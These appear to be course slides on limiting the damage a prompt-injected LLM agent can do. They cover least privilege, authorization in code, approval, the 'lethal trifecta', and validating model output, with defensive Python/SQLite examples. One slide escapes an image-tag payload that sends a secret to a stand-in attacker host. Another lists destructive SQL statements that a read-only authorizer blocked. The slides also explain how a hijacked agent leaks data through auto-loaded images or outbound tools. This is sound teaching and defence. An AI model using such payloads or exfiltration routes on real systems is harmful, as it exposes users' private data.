Slides · Safety and guardrails
Limiting blast radius and treating output as untrusted
1 / 21
Limiting blast radius and treating output as untrusted
Controls that still work when the model has been fooled: what it can reach, and what happens to what it writes.
Concept
When the detector misses
- Detectors eventually miss. Then the damage is decided by what the agent was allowed to do.
- A model that can only draft text produces a bad draft. One holding write access, a send tool and a database login produces an incident.
- The reply is also not a finished answer: it is a string your code will render, query or run.
- This lesson covers four OWASP 2025 entries: LLM02 Sensitive Information Disclosure, LLM05 Improper Output Handling, LLM06 Excessive Agency, LLM07 System Prompt Leakage.
Two things you will be able to do:
- Limit a hijacked agent with least privilege, authorization in code, approval and the trifecta test.
- Treat model output as untrusted input to the next system.
Source[1] 2025 Top 10 Risk & Mitigations for LLMs and Gen AI Apps
Concept
Two questions for any agent
- If the model were fully fooled right now, what is the worst it could do? Shrink that.
- What happens to its output next? Validate it before the next system trusts it.
Blast radius is what a hijacked agent can reach and do. The first question is about reach, the second is about what the model’s text is allowed to become.
Diagram
Same injection, different damage
Compare
Three causes of excessive agency
| Root cause | Meaning | Example | Matching control |
|---|---|---|---|
| Excessive functionality | Tools the task does not need | A document reader that can also delete | Fewer tools, granular over open-ended ones |
| Excessive permissions | A tool has more downstream access than its job needs | Write rights where read is enough | Minimum permissions, such as read-only |
| Excessive autonomy | High-impact actions run unchecked | Sending money with no review | Human approval for high-impact actions |
Concept
Authorization lives in code, not in the model
- Check who is asking, and what they may do, in your executor against the real session.
- Never take the user id or a permission level from the model’s arguments: a model can often be argued into another value, while an
ifstatement cannot. - OWASP says to enforce authorization in the downstream system, not to ask the LLM whether an action is allowed, and to run actions as the specific user with minimum privileges, for example narrow OAuth scopes.
- Rate limits and audit logs do not prevent an attack, but they cap how much damage fits in a minute and let you reconstruct it.
Sources[2] LLM06:2025 Excessive Agency[3] LLM Prompt Injection Prevention Cheat Sheet
Code
The executor decides, the model only proposes
A Python and SQLite sketch, run to confirm the outputs shown. Setup, not shown (also import contextlib, sqlite3): table orders(id, customer, status) with order 1 for c1 (shipped) and order 2 for c2 (packed); p is the database path.
Python
def lookup_order(session_customer, proposed_args):
if type(proposed_args.get("order_id")) is not int: # exact int only
return "rejected"
with contextlib.closing(read_only_db()) as db: # defined on the next code slide
row = db.execute(
"select status from orders where id=? and customer=?",
(proposed_args["order_id"], session_customer), # identity from the session
).fetchone()
return row[0] if row else "not found"
lookup_order("c1", {"order_id": 1, "customer": "c2"}) # 'shipped'
lookup_order("c1", {"order_id": 2}) # 'not found'
lookup_order("c1", {"order_id": True}) # 'rejected'- The
customerthe model passed is ignored; the session says the caller isc1. - Order 2 belongs to
c2, so a fooled model asking for it gets nothing. - The check accepts only a real integer:
int(True)andint(1.9)would both silently become 1, so conversion alone is not validation.
Process
Where a human belongs
Sources[2] LLM06:2025 Excessive Agency[3] LLM Prompt Injection Prevention Cheat Sheet
Compare
The cost of approving everything
| Policy | Benefit | Cost |
|---|---|---|
| No approval | Fast | A fooled model’s irreversible action runs at once |
| Approve only irreversible or external actions | Reviewers see few, serious prompts | You must judge which actions qualify |
| Approve every call | Looks safest | Slow for honest users; reviewers may start clicking through without reading |
Which actions deserve a human is a judgment about the cost of failure, not a fixed list. Approval complements code-level authorization; it does not replace it.
Diagram
The lethal trifecta
Source[4] The lethal trifecta for AI agents: private data, untrusted content, and external communication
Worked example
Worked: audit a refund agent’s tools
Hypothetical tool inventory. Marks: P = private data, U = reads untrusted content, E = can send outward.
Assumptions that make the marks true: lookups are scoped to the ticket’s own customer; the reply to the ticket author is plain text with no auto-loaded or model-written links; refunds go only to the original payment method.
| Tool | P | U | E | Decision |
|---|---|---|---|---|
| read_ticket (customer text) | yes | yes | no | Keep |
| lookup_order | yes | no | no | Keep, scoped read-only |
| issue_refund | yes | no | no | Keep, cap and approval in code (E = no only because of the original-payment-method rule) |
| send_email | no | no | yes | Remove from this agent |
| fetch_url | no | yes | yes | Remove (open-ended) |
- Before: read_ticket supplies U, lookup_order supplies P and send_email supplies E, so one agent had all three.
- After removing send_email and fetch_url, no tool gives E, provided the assumptions above hold. Willison also counts things like showing a link for a user to click as an outward channel, so a reply that contains model-written links would reopen the path.
- If the business needs email, add a separate step where a human reviews the draft and sends it.
Sources[4] The lethal trifecta for AI agents: private data, untrusted content, and external communication[2] LLM06:2025 Excessive Agency
Check yourself
Check: which tool goes?
A travel assistant reads a user’s saved passport details, summarises web pages of hotel reviews, and has a book_and_pay tool (bookings go only to one fixed, vetted provider and carry no free-form text) plus a send_message tool that can message any phone number. Pick the single tool you would remove or gate first and say what it costs the product.
Answer
Gate or remove send_message to arbitrary numbers: it is the outward channel, and the other two legs (private passport data, untrusted review pages) are needed for the job. Cost: confirmations go through a fixed channel, or a human sends them. book_and_pay also deserves approval, since it is irreversible. It is not an open channel only because of the fixed provider and no free-form data; if it could send arbitrary text or details to arbitrary recipients, it would be a second outward leg.
Concept
Model output is attacker-influenced input
- Prompts can steer output, so whatever the model writes may have been shaped by an attacker.
- OWASP names this risk Improper Output Handling: model text reaching other components without enough checking or cleaning.
- Its advice is a zero-trust stance: treat the model as you would an untrusted user, and check what it returns before backend code acts on it.
- Where the output goes decides the risk, and the control.
Compare
Destination decides the control
| Output flows into | Risk | Control |
|---|---|---|
| A web page | Script in generated HTML or Markdown (XSS) | Encode for the destination, sanitise Markdown |
| A SQL query | SQL injection or destructive statements | Parameterise values; read-only database role |
A shell, exec or eval | Remote code execution | Do not do it; if code must run, sandbox with no secrets, no network |
| A file path | Path traversal | Allow-list of paths |
| An image or link URL | Data in the URL | Allow-list domains |
OWASP lists parameterised queries and context-aware encoding. The read-only role, sandbox and path allow-list are this course’s added advice. So is domain allow-listing, which closes the image route only when the allowed domains hold no user-controllable content and no open redirects; otherwise it only makes it harder.
Code
Parameterising is not enough on its own
SQLite’s mode=ro is a connection flag, not a database role, and testing (Python 3.14, SQLite 3.50.4; behaviour can vary with the SQLite version) showed it is not enough: SQL that the model writes can ATTACH a database file in write mode, or turn off PRAGMA query_only. A SQLite authoriser that allows only reads closes those routes:
Python
import sqlite3
ALLOWED = {sqlite3.SQLITE_SELECT, sqlite3.SQLITE_READ, sqlite3.SQLITE_FUNCTION}
def read_only_db():
db = sqlite3.connect(f"file:{p}?mode=ro", uri=True)
db.set_authorizer(lambda action, *_: sqlite3.SQLITE_OK
if action in ALLOWED else sqlite3.SQLITE_DENY)
return db # the caller should close it (try/finally or contextlib.closing)In that test run (same versions), each of these model-written statements failed with “not authorized”: delete from orders, drop table orders, attach database '<path>' as w, attach with mode=rw, attach of a new file path, and pragma query_only=OFF. No new file appeared.
- The authoriser still allows almost every SELECT and SQL function (recursive CTEs and pragmas are denied), so a huge cross join can run for a long time. Add a time limit with
set_progress_handler(a test interrupted a triple cross join at 0.5 s) or a row limit. - Parameterisation protects a fixed template when the model supplies only values. It does not stop a whole statement the model wrote.
- In a server database the equivalent is a role granted only
SELECT. A read-only role stops writes, not over-broad reads:select count(*) from ordersstill counted every customer’s rows, so scope reads per user as well. - Encoding fits the destination:
html.escape('<img src="https://evil.example/?q=secret">')returns inert text for a page, and is no use for SQL.
Check yourself
Check: spot the weakest destination
A report tool asks a model for a file name, builds /exports/<name>.csv from it, then renders the model’s chat reply as raw Markdown that auto-loads images. Which two output flows need a control, and which?
Answer
The file path needs validation against an allow-list (path traversal could escape /exports). The rendered Markdown needs sanitising and an allow-list of image domains, since an auto-loaded image URL can carry data out. Both treat model text as untrusted before the next system uses it.
Diagram
Data the model never sees cannot leak
Concept
Assume the system prompt can leak
- OWASP says sensitive data does not belong in prompt text and that the prompt should not be considered a secret.
- It also says a prompt should not be used as a security control: authorization and privilege separation must not be delegated to the model.
- So keys, credentials and access rules live in server-side code and credentials.
- A prompt line that forbids revealing data helps, but can be bypassed, so it is never the only control.
Sources[7] LLM07:2025 System Prompt Leakage[6] LLM02:2025 Sensitive Information Disclosure
Summary
Summary
- Blast radius is what a hijacked agent can reach. Shrink it with least privilege, authorization in code and approval.
- Excessive agency has three causes: too many tools, too much permission, too much autonomy.
- Avoid private data, untrusted content and an outbound channel together in one agent.
- Approve irreversible and external actions, not every action.
- Model output is untrusted input: validate against a schema, encode for the destination, use a read-only database role, sandbox code, allow-list URLs.
- Keep secrets and authorization logic in code, not in the system prompt.
References
References & Sources (1 of 2)
2025 Top 10 Risk & Mitigations for LLMs and Gen AI Apps (opens in a new tab)
OWASP GenAI Security Project2025Documentation
https://genai.owasp.org/llm-top-10/
Used for The four 2025 list entries this lesson covers by name and number.
LLM06:2025 Excessive Agency (opens in a new tab)
OWASP GenAI Security Project2025Documentation
https://genai.owasp.org/llmrisk/llm062025-excessive-agency/
Used for Three root causes (excessive functionality, permissions, autonomy), minimum-permission and per-user execution, human approval for high-impact actions, authorization in downstream systems, and the email-assistant scenario.
LLM Prompt Injection Prevention Cheat Sheet (opens in a new tab)
OWASP Cheat Sheet Series2026Documentation
https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html
Used for Enforce permissions in code outside the model, approval checked against the exact action, and treating model output as untrusted at every downstream use.
Simon Willison2025Article
https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/
Used for The lethal trifecta of private data, untrusted content and external communication, and the advice to avoid combining all three.
LLM05:2025 Improper Output Handling (opens in a new tab)
OWASP GenAI Security Project2025Documentation
https://genai.owasp.org/llmrisk/llm052025-improper-output-handling/
Used for Improper output handling as insufficient validation of model output before downstream use; consequences, vulnerability examples and prevention (context-aware encoding, parameterised queries, treating the model as an untrusted user).
References
References & Sources (2 of 2)
LLM02:2025 Sensitive Information Disclosure (opens in a new tab)
OWASP GenAI Security Project2025Documentation
https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/
Used for Least-privilege access to sensitive data, tokenisation and pattern-based redaction, and the warning that prompt instructions about data can be bypassed.
LLM07:2025 System Prompt Leakage (opens in a new tab)
OWASP GenAI Security Project2025Documentation
https://genai.owasp.org/llmrisk/llm072025-system-prompt-leakage/
Used for The system prompt should not be treated as secret or as a security control; authorization belongs outside the model.
Keys: ← → move, Home End first and last, F full screen.